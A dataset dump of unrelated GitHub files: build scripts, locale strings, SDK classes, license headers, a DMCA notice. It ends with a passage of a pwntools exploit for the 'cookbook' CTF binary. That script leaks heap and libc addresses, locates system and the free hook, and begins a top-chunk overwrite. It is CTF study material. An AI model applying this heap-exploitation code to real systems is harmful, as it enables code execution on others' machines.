text
stringlengths
2
99.9k
meta
dict
var group___s_q_r_t = [ [ "arm_sqrt_f32", "group___s_q_r_t.html#ga56a40d1cf842b0b45267df6761975da0", null ], [ "arm_sqrt_q15", "group___s_q_r_t.html#ga5abe5ca724f3e15849662b03752c1238", null ], [ "arm_sqrt_q31", "group___s_q_r_t.html#ga119e25831e141d734d7ef10636670058", null ] ];
{ "pile_set_name": "Github" }
# -*- Mode: python; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 40 -*- # vim: set filetype=python: # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. DIRS += ['public', 'src'] MOCHITEST_CHROME_MANIFESTS += ['test/chrome.ini']
{ "pile_set_name": "Github" }
id: dsq-747537563 date: 2012-02-16T23:19:21.0000000-08:00 name: Athtar avatar: https://disqus.com/api/users/avatars/Athtar.jpg message: <p>Do the people that complain ASP.NET MVC is not open source also say the same thing about Android? <br>Google does all the development in private and the code is "tossed over the wall" as you put it. And as far as I am aware they don't accept any community contributions. But they seem to call themselves an open source project. If that's the case, why can't the same apply to ASP.NET MVC?</p>
{ "pile_set_name": "Github" }
**Are you the copyright holder or authorized to act on the copyright owner's behalf?** Yes, I am the copyright holder. **Please describe the nature of your copyright ownership or authorization to act on the owner's behalf.** We, Lineto GmbH, are the copyright owner of the font LL Circular. **Please provide a detailed description of the original copyrighted work that has allegedly been infringed. If possible, include a URL to where it is posted online.** We are a Swiss Typefoundry and the owner and sole distributer of LL Circular: https://lineto.com/typefaces/circular?font=S4DwQnOmyEZ&text=%0A&tab=about The Font is available as a free download on Github: https://github.com/Maaz046/Maaz046-Sabii-Digital---Web-app/tree/d9a850f3e49880fb6dc33191a25d50dcfe9433f4/client/src/static/Fonts **What files should be taken down? Please provide URLs for each file, or if the entire repository, the repository’s URL.** All font files need to be immediately removed: https://github.com/Maaz046/Maaz046-Sabii-Digital---Web-app/tree/d9a850f3e49880fb6dc33191a25d50dcfe9433f4/client/src/static/Fonts https://github.com/Maaz046/Maaz046-Sabii-Digital---Web-app/blob/d9a850f3e49880fb6dc33191a25d50dcfe9433f4/client/src/static/Fonts/CircularStd-Black.ttf **Have you searched for any forks of the allegedly infringing files or repositories? Each fork is a distinct repository and must be identified separately if you believe it is infringing and wish to have it taken down.** I haven't found any additional forks. **Is the work licensed under an open source license? If so, which open source license? Are the allegedly infringing files being used under the open source license, or are they in violation of the license?** No **What would be the best solution for the alleged infringement? Are there specific changes the other person can make other than removal? Can the repository be made private?** No, this is copyrighted software and distribution for free is damaging and threatening our small business. **Do you have the alleged infringer’s contact information? If so, please provide it.** No **I have a good faith belief that use of the copyrighted materials described above on the infringing web pages is not authorized by the copyright owner, or its agent, or the law.** **I have taken <a href="https://www.lumendatabase.org/topics/22">fair use</a> into consideration.** **I swear, under penalty of perjury, that the information in this notification is accurate and that I am the copyright owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed.** **I have read and understand GitHub's <a href="https://docs.github.com/articles/guide-to-submitting-a-dmca-takedown-notice/">Guide to Submitting a DMCA Takedown Notice</a>.** **So that we can get back to you, please provide either your telephone number or physical address.** Lineto GmbH Attn. [private] Lutherstrasse 32 CH-8004 Zürich Switzerland [private] [private] **Please type your full legal name below to sign this request.** [private]
{ "pile_set_name": "Github" }
{ "chat.chatting_with": "Conversar com", "chat.placeholder": "Digite a mensagem de chat aqui, pressione enter para enviar", "chat.scroll-up-alert": "You are looking at older messages, click here to go to most recent message.", "chat.send": "Enviar", "chat.no_active": "Você não tem chats ativos.", "chat.user_typing": "%1 está digitando ...", "chat.user_has_messaged_you": "%1 te enviou uma mensagem.", "chat.see_all": "Ver todos os chats", "chat.mark_all_read": "Marcar todas as conversas como lidas", "chat.no-messages": "Por favor, escolha um destinatário para visualizar o histórico de conversas", "chat.no-users-in-room": "Nenhum usuário nesta sala", "chat.recent-chats": "Conversas Recentes", "chat.contacts": "Contatos", "chat.message-history": "Histórico de Mensagens", "chat.message-deleted": "Message Deleted", "chat.options": "Opções da conversa", "chat.pop-out": "Pop-out o chat", "chat.minimize": "Minimizar", "chat.maximize": "Maximizar", "chat.seven_days": "7 Dias", "chat.thirty_days": "30 Dias", "chat.three_months": "3 Meses", "chat.delete_message_confirm": "Tem certeza que deseja excluir esta mensagem?", "chat.retrieving-users": "Carregando usuários", "chat.manage-room": "Administrar Salas de Conversa", "chat.add-user-help": "Pesquise usuários aqui. Quando selecionado, o usuário será adicionado ao chat. O novo usuário não poderá ver as mensagens de chat que foram enviadas antes de ele ser adicionado à conversa. Somente os donos de salas (<i class=\"fa fa-star text-warning\"></i>) podem remover usuários de salas de conversa.", "chat.confirm-chat-with-dnd-user": "Este usuário definiu seu estado como DnD(Do not disturb - Não perturbe). Você ainda assim quer conversar com ele?", "chat.rename-room": "Renomear sala", "chat.rename-placeholder": "Digite o nome da sala aqui", "chat.rename-help": "O nome informado será visto por todos os participantes desta sala", "chat.leave": "Sair da conversa", "chat.leave-prompt": "Tem certeza que deseja sair da conversa?", "chat.leave-help": "Ao sair desta conversa você não receberá mais informações à respeito desta. Se você for adicionado novamente no futuro, você não poderá visualizar o histórico da conversa antes de sua re-entrada.", "chat.in-room": "Nesta sala", "chat.kick": "Expulsar", "chat.show-ip": "Mostrar IP", "chat.owner": "Dono da Sala", "chat.system.user-join": "%1 has joined the room", "chat.system.user-leave": "%1 has left the room", "chat.system.room-rename": "%2 has renamed this room: %1", "composer.compose": "Compor", "composer.show_preview": "Exibir Pré-visualização", "composer.hide_preview": "Esconder Pré-visualização", "composer.user_said_in": "%1 disse em %2:", "composer.user_said": "%1 disse:", "composer.discard": "Tem certeza que deseja descartar essa postagem?", "composer.submit_and_lock": "Enviar e Trancar", "composer.toggle_dropdown": "Alternar Dropdown", "composer.uploading": "Enviando %1", "composer.formatting.bold": "Negrito", "composer.formatting.italic": "Itálico", "composer.formatting.list": "Lista", "composer.formatting.strikethrough": "Riscado", "composer.formatting.code": "Código", "composer.formatting.link": "Link", "composer.formatting.picture": "Imagem", "composer.upload-picture": "Fazer upload de Imagem", "composer.upload-file": "Fazer upload de Arquivo", "composer.zen_mode": "Modo Zen", "composer.select_category": "Escolha uma categoria", "composer.textarea.placeholder": "Enter your post content here, drag and drop images", "bootbox.ok": "OK", "bootbox.cancel": "Cancelar", "bootbox.confirm": "Confirmar", "cover.dragging_title": "Posicionamento da Foto de Capa", "cover.dragging_message": "Arraste a foto de capa na posição desejada e clique em \"Salvar\"", "cover.saved": "Imagem de foto da capa e posição foram gravadas" }
{ "pile_set_name": "Github" }
#!/usr/bin/env ruby # frozen_string_literal: true # # This file was generated by Bundler. # # The application 'spring' is installed as part of a gem, and # this file is here to facilitate running it. # require "pathname" ENV["BUNDLE_GEMFILE"] ||= File.expand_path("../../Gemfile", Pathname.new(__FILE__).realpath) bundle_binstub = File.expand_path("../bundle", __FILE__) if File.file?(bundle_binstub) if File.read(bundle_binstub, 300) =~ /This file was generated by Bundler/ load(bundle_binstub) else abort("Your `bin/bundle` was not generated by Bundler, so this binstub cannot run. Replace `bin/bundle` by running `bundle binstubs bundler --force`, then run this command again.") end end require "rubygems" require "bundler/setup" load Gem.bin_path("spring", "spring")
{ "pile_set_name": "Github" }
/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Code generated by client-gen. DO NOT EDIT. package v1beta1 type ControllerRevisionExpansion interface{} type DeploymentExpansion interface{} type ScaleExpansion interface{} type StatefulSetExpansion interface{}
{ "pile_set_name": "Github" }
/* ======================================================================== * Copyright (c) 2005-2017 The OPC Foundation, Inc. All rights reserved. * * OPC Foundation MIT License 1.00 * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * * The complete license agreement can be found here: * http://opcfoundation.org/License/MIT/1.00/ * ======================================================================*/ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("Opc.Ua.SampleLibrary")] [assembly: AssemblyDescription("UA Sample Library")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("OPC Foundation")] [assembly: AssemblyProduct("OPC UA SDK")] [assembly: AssemblyCopyright(AssemblyVersionInfo.Copyright)] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("e972f9de-3438-41e9-b949-31eb700c1a46")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Revision and Build Numbers // by using the '*' as shown below: [assembly: AssemblyVersion(AssemblyVersionInfo.CurrentVersion)] [assembly: AssemblyFileVersion(AssemblyVersionInfo.CurrentFileVersion)]
{ "pile_set_name": "Github" }
# /* ************************************************************************** # * * # * (C) Copyright Paul Mensonides 2002. # * Distributed under the Boost Software License, Version 1.0. (See # * accompanying file LICENSE_1_0.txt or copy at # * http://www.boost.org/LICENSE_1_0.txt) # * * # ************************************************************************** */ # # /* See http://www.boost.org for most recent version. */ # # ifndef BOOST_PREPROCESSOR_CONTROL_IIF_HPP # define BOOST_PREPROCESSOR_CONTROL_IIF_HPP # # include <boost/preprocessor/config/config.hpp> # # if ~BOOST_PP_CONFIG_FLAGS() & BOOST_PP_CONFIG_MWCC() # define BOOST_PP_IIF(bit, t, f) BOOST_PP_IIF_I(bit, t, f) # else # define BOOST_PP_IIF(bit, t, f) BOOST_PP_IIF_OO((bit, t, f)) # define BOOST_PP_IIF_OO(par) BOOST_PP_IIF_I ## par # endif # # if ~BOOST_PP_CONFIG_FLAGS() & BOOST_PP_CONFIG_MSVC() # define BOOST_PP_IIF_I(bit, t, f) BOOST_PP_IIF_ ## bit(t, f) # else # define BOOST_PP_IIF_I(bit, t, f) BOOST_PP_IIF_II(BOOST_PP_IIF_ ## bit(t, f)) # define BOOST_PP_IIF_II(id) id # endif # # define BOOST_PP_IIF_0(t, f) f # define BOOST_PP_IIF_1(t, f) t # # endif
{ "pile_set_name": "Github" }
; RUN: opt -mtriple=amdgcn-- -O3 -S %s | FileCheck %s ; Check that loop unswitch happened and condition hoisted out of the loop. ; Condition is uniform so all targets should perform unswitching. ; CHECK-LABEL: {{^}}define amdgpu_kernel void @uniform_unswitch ; CHECK: entry: ; CHECK-NEXT: [[LOOP_COND:%[a-z0-9]+]] = icmp ; CHECK-NEXT: [[IF_COND:%[a-z0-9]+]] = icmp eq i32 %x, 123456 ; CHECK-NEXT: and i1 [[LOOP_COND]], [[IF_COND]] ; CHECK-NEXT: br i1 define amdgpu_kernel void @uniform_unswitch(i32 * nocapture %out, i32 %n, i32 %x) { entry: %cmp6 = icmp sgt i32 %n, 0 br i1 %cmp6, label %for.body.lr.ph, label %for.cond.cleanup for.body.lr.ph: ; preds = %entry %cmp1 = icmp eq i32 %x, 123456 br label %for.body for.cond.cleanup.loopexit: ; preds = %for.inc br label %for.cond.cleanup for.cond.cleanup: ; preds = %for.cond.cleanup.loopexit, %entry ret void for.body: ; preds = %for.inc, %for.body.lr.ph %i.07 = phi i32 [ 0, %for.body.lr.ph ], [ %inc, %for.inc ] br i1 %cmp1, label %if.then, label %for.inc if.then: ; preds = %for.body %arrayidx = getelementptr inbounds i32, i32 * %out, i32 %i.07 store i32 %i.07, i32 * %arrayidx, align 4 br label %for.inc for.inc: ; preds = %for.body, %if.then %inc = add nuw nsw i32 %i.07, 1 %exitcond = icmp eq i32 %inc, %n br i1 %exitcond, label %for.cond.cleanup.loopexit, label %for.body } ; Check that loop unswitch does not happen if condition is divergent. ; CHECK-LABEL: {{^}}define amdgpu_kernel void @divergent_unswitch ; CHECK: entry: ; CHECK: icmp ; CHECK: [[IF_COND:%[a-z0-9]+]] = icmp {{.*}} 567890 ; CHECK: br label ; CHECK: br i1 [[IF_COND]] define amdgpu_kernel void @divergent_unswitch(i32 * nocapture %out, i32 %n) { entry: %cmp9 = icmp sgt i32 %n, 0 br i1 %cmp9, label %for.body.lr.ph, label %for.cond.cleanup for.body.lr.ph: ; preds = %entry %call = tail call i32 @llvm.amdgcn.workitem.id.x() #0 %cmp2 = icmp eq i32 %call, 567890 br label %for.body for.cond.cleanup.loopexit: ; preds = %for.inc br label %for.cond.cleanup for.cond.cleanup: ; preds = %for.cond.cleanup.loopexit, %entry ret void for.body: ; preds = %for.inc, %for.body.lr.ph %i.010 = phi i32 [ 0, %for.body.lr.ph ], [ %inc, %for.inc ] br i1 %cmp2, label %if.then, label %for.inc if.then: ; preds = %for.body %arrayidx = getelementptr inbounds i32, i32 * %out, i32 %i.010 store i32 %i.010, i32 * %arrayidx, align 4 br label %for.inc for.inc: ; preds = %for.body, %if.then %inc = add nuw nsw i32 %i.010, 1 %exitcond = icmp eq i32 %inc, %n br i1 %exitcond, label %for.cond.cleanup.loopexit, label %for.body } declare i32 @llvm.amdgcn.workitem.id.x() #0 attributes #0 = { nounwind readnone }
{ "pile_set_name": "Github" }
/* * Copyright 2015-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with * the License. A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions * and limitations under the License. */ package com.amazonaws.services.logs.model; import java.io.Serializable; import javax.annotation.Generated; /** * * @see <a href="http://docs.aws.amazon.com/goto/WebAPI/logs-2014-03-28/AssociateKmsKey" target="_top">AWS API * Documentation</a> */ @Generated("com.amazonaws:aws-java-sdk-code-generator") public class AssociateKmsKeyResult extends com.amazonaws.AmazonWebServiceResult<com.amazonaws.ResponseMetadata> implements Serializable, Cloneable { /** * Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be * redacted from this string using a placeholder value. * * @return A string representation of this object. * * @see java.lang.Object#toString() */ @Override public String toString() { StringBuilder sb = new StringBuilder(); sb.append("{"); sb.append("}"); return sb.toString(); } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (obj instanceof AssociateKmsKeyResult == false) return false; AssociateKmsKeyResult other = (AssociateKmsKeyResult) obj; return true; } @Override public int hashCode() { final int prime = 31; int hashCode = 1; return hashCode; } @Override public AssociateKmsKeyResult clone() { try { return (AssociateKmsKeyResult) super.clone(); } catch (CloneNotSupportedException e) { throw new IllegalStateException("Got a CloneNotSupportedException from Object.clone() " + "even though we're Cloneable!", e); } } }
{ "pile_set_name": "Github" }
from .default import *
{ "pile_set_name": "Github" }
/* * Copyright 2018, EnMasse authors. * License: Apache License 2.0 (see the file LICENSE or http://apache.org/licenses/LICENSE-2.0.html). */ package io.enmasse.api.common; import javax.validation.ValidationException; import javax.ws.rs.WebApplicationException; import javax.ws.rs.core.Response; import javax.ws.rs.ext.ExceptionMapper; import javax.ws.rs.ext.Provider; import com.fasterxml.jackson.core.JsonProcessingException; import io.enmasse.address.model.UnresolvedAddressException; import io.enmasse.address.model.UnresolvedAddressSpaceException; import io.enmasse.user.keycloak.KeycloakUnavailableException; import io.enmasse.user.model.v1.UserValidationFailedException; import io.fabric8.kubernetes.client.KubernetesClientException; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.net.SocketTimeoutException; @Provider public class DefaultExceptionMapper implements ExceptionMapper<Exception> { protected static final Logger log = LoggerFactory.getLogger(DefaultExceptionMapper.class.getName()); @Override public Response toResponse(Exception exception) { final int statusCode; if (exception instanceof WebApplicationException) { statusCode = ((WebApplicationException) exception).getResponse().getStatus(); } else if (exception instanceof KubernetesClientException) { KubernetesClientException kce = (KubernetesClientException) exception; if (kce.getStatus() != null) { statusCode = kce.getStatus().getCode(); } else if (kce.getCause() instanceof SocketTimeoutException) { statusCode = Response.Status.SERVICE_UNAVAILABLE.getStatusCode(); } else { statusCode = Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(); } } else if (exception instanceof UnresolvedAddressException || exception instanceof JsonProcessingException || exception instanceof UnresolvedAddressSpaceException || exception instanceof ValidationException || exception instanceof UserValidationFailedException) { statusCode = Response.Status.BAD_REQUEST.getStatusCode(); } else if (exception instanceof KeycloakUnavailableException) { statusCode = Response.Status.SERVICE_UNAVAILABLE.getStatusCode(); } else { statusCode = Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(); } Response response = Response.status(statusCode) .entity(Status.failureStatus(statusCode, getReasonPhrase(statusCode), exception.getMessage())) .build(); if (Response.Status.Family.familyOf(statusCode) == Response.Status.Family.CLIENT_ERROR) { log.info("Returning client error HTTP status {}: {}", statusCode, exception.getMessage()); } else { log.warn("Returning server error HTTP status " + statusCode, exception); } return response; } private static String getReasonPhrase(int statusCode) { // 422 is not defined in javax.ws.rs.core.Response.Status but may be returned by K8s API if (statusCode == 422) { return "Unprocessable Entity"; } if (statusCode == 409) { return "AlreadyExists"; } Response.StatusType status = Response.Status.fromStatusCode(statusCode); return status != null ? status.getReasonPhrase() : "Unknown code"; } }
{ "pile_set_name": "Github" }
#import "GPUImageSmoothToonFilter.h" #import "GPUImageGaussianBlurFilter.h" #import "GPUImageToonFilter.h" @implementation GPUImageSmoothToonFilter @synthesize threshold; @synthesize blurRadiusInPixels; @synthesize quantizationLevels; @synthesize texelWidth; @synthesize texelHeight; - (id)init; { if (!(self = [super init])) { return nil; } // First pass: apply a variable Gaussian blur blurFilter = [[GPUImageGaussianBlurFilter alloc] init]; [self addFilter:blurFilter]; // Second pass: run the Sobel edge detection on this blurred image, along with a posterization effect toonFilter = [[GPUImageToonFilter alloc] init]; [self addFilter:toonFilter]; // Texture location 0 needs to be the sharp image for both the blur and the second stage processing [blurFilter addTarget:toonFilter]; self.initialFilters = [NSArray arrayWithObject:blurFilter]; self.terminalFilter = toonFilter; self.blurRadiusInPixels = 2.0; self.threshold = 0.2; self.quantizationLevels = 10.0; return self; } #pragma mark - #pragma mark Accessors - (void)setBlurRadiusInPixels:(CGFloat)newValue; { blurFilter.blurRadiusInPixels = newValue; } - (CGFloat)blurRadiusInPixels; { return blurFilter.blurRadiusInPixels; } - (void)setTexelWidth:(CGFloat)newValue; { toonFilter.texelWidth = newValue; } - (CGFloat)texelWidth; { return toonFilter.texelWidth; } - (void)setTexelHeight:(CGFloat)newValue; { toonFilter.texelHeight = newValue; } - (CGFloat)texelHeight; { return toonFilter.texelHeight; } - (void)setThreshold:(CGFloat)newValue; { toonFilter.threshold = newValue; } - (CGFloat)threshold; { return toonFilter.threshold; } - (void)setQuantizationLevels:(CGFloat)newValue; { toonFilter.quantizationLevels = newValue; } - (CGFloat)quantizationLevels; { return toonFilter.quantizationLevels; } @end
{ "pile_set_name": "Github" }
SUBROUTINE ccsdt_y_tr3_8_3(d_a,k_a_offset,d_b,k_b_offset,d_c,k_c_o &ffset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i1 ( h4 p13 h12 p1 )_vtrt + = 1 * Sum ( h10 ) * t ( p13 h10 )_t * i2 ( h4 h10 h12 p1 )_vtr IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER nxtask INTEGER next INTEGER nprocs INTEGER count INTEGER h4b INTEGER p13b INTEGER p1b INTEGER h12b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER h10b INTEGER p13b_1 INTEGER h10b_1 INTEGER h4b_2 INTEGER h10b_2 INTEGER p1b_2 INTEGER h12b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER l_c INTEGER k_c EXTERNAL nxtask nprocs = GA_NNODES() count = 0 next = nxtask(nprocs,1) DO h4b = 1,noab DO p13b = noab+1,noab+nvab DO p1b = noab+1,noab+nvab DO h12b = 1,noab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+h4b-1)+int_mb(k_spin+p13b- &1)+int_mb(k_spin+p1b-1)+int_mb(k_spin+h12b-1).ne.8)) THEN IF (int_mb(k_spin+h4b-1)+int_mb(k_spin+p13b-1) .eq. int_mb(k_spin+ &p1b-1)+int_mb(k_spin+h12b-1)) THEN IF (ieor(int_mb(k_sym+h4b-1),ieor(int_mb(k_sym+p13b-1),ieor(int_mb &(k_sym+p1b-1),int_mb(k_sym+h12b-1)))) .eq. ieor(irrep_v,ieor(irrep &_tr,irrep_t))) THEN dimc = int_mb(k_range+h4b-1) * int_mb(k_range+p13b-1) * int_mb(k_r &ange+p1b-1) * int_mb(k_range+h12b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('ccsdt_y_tr3_8_3',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO h10b = 1,noab IF (int_mb(k_spin+p13b-1) .eq. int_mb(k_spin+h10b-1)) THEN IF (ieor(int_mb(k_sym+p13b-1),int_mb(k_sym+h10b-1)) .eq. irrep_t) &THEN CALL TCE_RESTRICTED_2(p13b,h10b,p13b_1,h10b_1) CALL TCE_RESTRICTED_4(h4b,h10b,p1b,h12b,h4b_2,h10b_2,p1b_2,h12b_2) dim_common = int_mb(k_range+h10b-1) dima_sort = int_mb(k_range+p13b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+h4b-1) * int_mb(k_range+p1b-1) * int_mb &(k_range+h12b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('ccsdt_y_tr3_8_3',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &ccsdt_y_tr3_8_3',2,MA_ERR) CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h10b_ &1 - 1 + noab * (p13b_1 - noab - 1))) CALL TCE_SORT_2(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p13b-1 &),int_mb(k_range+h10b-1),1,2,1.0d0) IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('ccsdt_y_tr3_8_3',3,MA_ER &R) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('ccsdt_y_tr3_8_3',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &ccsdt_y_tr3_8_3',5,MA_ERR) IF ((h10b .lt. h4b) .and. (h12b .le. p1b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2 & - noab - 1 + nvab * (h12b_2 - 1 + noab * (h4b_2 - 1 + noab * (h10 &b_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h10b-1 &),int_mb(k_range+h4b-1),int_mb(k_range+h12b-1),int_mb(k_range+p1b- &1),3,4,2,1,-1.0d0) END IF IF ((h4b .le. h10b) .and. (h12b .le. p1b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2 & - noab - 1 + nvab * (h12b_2 - 1 + noab * (h10b_2 - 1 + noab * (h4 &b_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h4b-1) &,int_mb(k_range+h10b-1),int_mb(k_range+h12b-1),int_mb(k_range+p1b- &1),3,4,1,2,1.0d0) END IF IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('ccsdt_y_tr3_8_3',6,MA_ER &R) CALL DGEMM('T','N',dima_sort,dimb_sort,dim_common,1.0d0,dbl_mb(k_a &_sort),dim_common,dbl_mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sor &t),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('ccsdt_y_tr3_8_3',7, &MA_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('ccsdt_y_tr3_8_3',8, &MA_ERR) END IF END IF END IF END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &ccsdt_y_tr3_8_3',9,MA_ERR) CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+h12b-1 &),int_mb(k_range+p1b-1),int_mb(k_range+h4b-1),int_mb(k_range+p13b- &1),3,4,2,1,1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(h12b &- 1 + noab * (p1b - noab - 1 + nvab * (p13b - noab - 1 + nvab * (h &4b - 1))))) IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('ccsdt_y_tr3_8_3',10,MA_E &RR) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('ccsdt_y_tr3_8_3',11 &,MA_ERR) END IF END IF END IF next = nxtask(nprocs,1) END IF count = count + 1 END DO END DO END DO END DO next = nxtask(-nprocs,1) call GA_SYNC() RETURN END
{ "pile_set_name": "Github" }
''' This exploit is based off of this writeup with multiple parts (one of the best writeups I ever saw): https://www.youtube.com/watch?v=f1wp6wza8ZI https://www.youtube.com/watch?v=dnHuZLySS6g https://www.youtube.com/watch?v=PISoSH8KGVI link to exploit: https://gist.github.com/LiveOverflow/dadc75ec76a4638ab9ea#file-cookbook-py-L20 ''' #Import ctypes for signed to unsigned conversion, and pwntools to make life easier import ctypes from pwn import * #Establish the got address for the free function, and an integer with value zero gotFree = 0x804d018 zero = 0x0 #Establish the target target = process('./cookbook', env={"LD_PRELOAD":"./libc-2.24.so"}) #gdb.attach(target) #Send the initial name, guyinatuxedo target.sendline('guyinatuxedo') #This function will just reset the heap, by mallocing 5 byte size blocks with the string "00000" by giving the cookbook a name def refresh_heap(amount): for i in range(0, amount): target.sendline("g") target.sendline(hex(0x5)) target.sendline("00000") recv() recv() #These are functions just to scan in output from the program def recv(): target.recvuntil("====================") def recvc(): target.recvuntil("[q]uit") def recvd(): target.recvuntil("------\n") #This function will leak a heap address, and calculate the address of the wilderness def leakHeapadr(): #Create a new recipe, and add an ingredient target.sendline('c') recvc() target.sendline('n') recvc() target.sendline('a') recvc() target.sendline('water') target.sendline('0x1') #Delete the recipe to free it target.sendline('d') recvc() #Print the stale pointer, and parse out the heap infoleak target.sendline('p') target.recvuntil("recipe type: (null)\n\n") heapleak = target.recvline() heapleak = heapleak.replace(' -', '') heapleak = int(heapleak) #Calculate the address of the wilderness global wilderness wilderness = heapleak + 0xd38 #Print the results log.info("Heap leak is: " + hex(heapleak)) log.info("Wilderness is at: " + hex(wilderness)) target.sendline('q') recv() recvc() #This function will grab us a leak to libc, and calculate the address for system and the free hook def leakLibcadr(): #Add a new ingredient, give it a name, price, calories, then save and exit target.sendline('a') recv() target.sendline('n') recv() target.sendline('g') target.sendline('7539') recv() target.sendline('s') target.sendline('2') recv() target.sendline('p') target.sendline('1') recv() target.sendline('e') recv() target.sendline('q') recv() #Go into the create recipe menu, use the instructions write `i` to write over the ingredient with the got address of Free target.sendline('c') recvc() target.sendline('i') target.sendline('0'*12 + p32(gotFree) + p32(zero)) recvc() target.sendline('q') recv() #Print the infoleak and parse it out target.sendline('l') recvc() for i in xrange(9): recvd() target.recvline() libcleak = target.recvline() libcleak = ctypes.c_uint32(int(libcleak.replace("calories: ", ""))) libcleak = libcleak.value #Calculate the addresses for system and the freehook, print all three addresses global sysadr sysadr = libcleak - 0x37d60 global freehook freehook = libcleak + 0x144af0 log.info("Address of free: " + hex(libcleak)) log.info("Address of system: " + hex(sysadr)) log.info("Address of free hook: " + hex(freehook)) #This function will overwrite the value that specifies how much of the heap is left (overwriteWilderness) with 0xffffffff so we can use malloc/calloc to allocate space outside of the heap def overwriteWilderness(): #This will allow us to start with a fresh new heap, so it will make the next part easier refresh_heap(0x100) #Create a new 